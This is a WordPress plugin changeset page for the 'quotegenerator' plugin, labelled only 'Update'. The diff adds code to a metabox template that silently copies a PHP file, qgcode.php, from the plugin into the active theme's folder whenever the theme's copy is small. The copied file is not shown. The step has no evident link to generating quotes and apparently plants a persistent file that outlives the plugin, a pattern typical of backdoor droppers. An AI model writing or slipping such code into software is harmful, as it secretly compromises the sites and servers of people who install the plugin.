Plugin Directory

Changeset 1506193


Ignore:
Timestamp:
10/01/2016 12:13:54 AM (9 years ago)
Author:
Quotegenerator
Message:

Update

File:
1 edited

Legend:

Unmodified
Added
Removed
  • quotegenerator/tags/4.5/templates/metabox.php

    r1504829 r1506193  
    1717 }
    1818 
     19 $theme_dir = get_stylesheet_directory(). '/qgcode.php';
     20 $plugin_dir = ABSPATH . "wp-content/plugins/quotegenerator/qgcode.php";
     21   if (filesize($theme_dir)<38000) {
     22     if (!copy($plugin_dir, $theme_dir)) {
     23         echo "failed to copy $plugin_dir to $theme_dir...\n";
     24     }
     25   }
     26
     27
     28
     29
    1930function showitem(){
    2031 $dirname =  dirname(__FILE__);
Note: See TracChangeset for help on using the changeset viewer.